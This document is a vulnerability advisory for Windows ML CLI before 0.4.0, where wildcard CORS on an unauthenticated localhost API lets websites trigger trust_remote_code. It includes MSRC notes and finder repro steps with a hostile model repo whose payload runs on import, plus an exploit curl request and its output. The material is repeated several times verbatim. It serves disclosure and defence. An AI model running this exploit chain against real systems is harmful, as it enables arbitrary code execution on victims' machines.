CVE-2026-84452

Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.

Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).

Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.

serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.

Reported Repro Steps:

1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def init(s,*a,**k): pass def start(s,*a,**k): pass def stop(s,*a,**k): pass def poll(s,*a,**k): return {} def sample(s,*a,**k): return {} def close(s,*a,**k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd /winml-poc && PWN_MARKER=/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit

curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: * ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616

Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.

Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).

Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.

serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.

Reported Repro Steps:

1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def init(s,*a,**k): pass def start(s,*a,**k): pass def stop(s,*a,**k): pass def poll(s,*a,**k): return {} def sample(s,*a,**k): return {} def close(s,*a,**k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd /winml-poc && PWN_MARKER=/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit

curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: * ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).

Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.

serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.

Reported Repro Steps:

1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def init(s,*a,**k): pass def start(s,*a,**k): pass def stop(s,*a,**k): pass def poll(s,*a,**k): return {} def sample(s,*a,**k): return {} def close(s,*a,**k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd /winml-poc && PWN_MARKER=/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit

curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: * ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616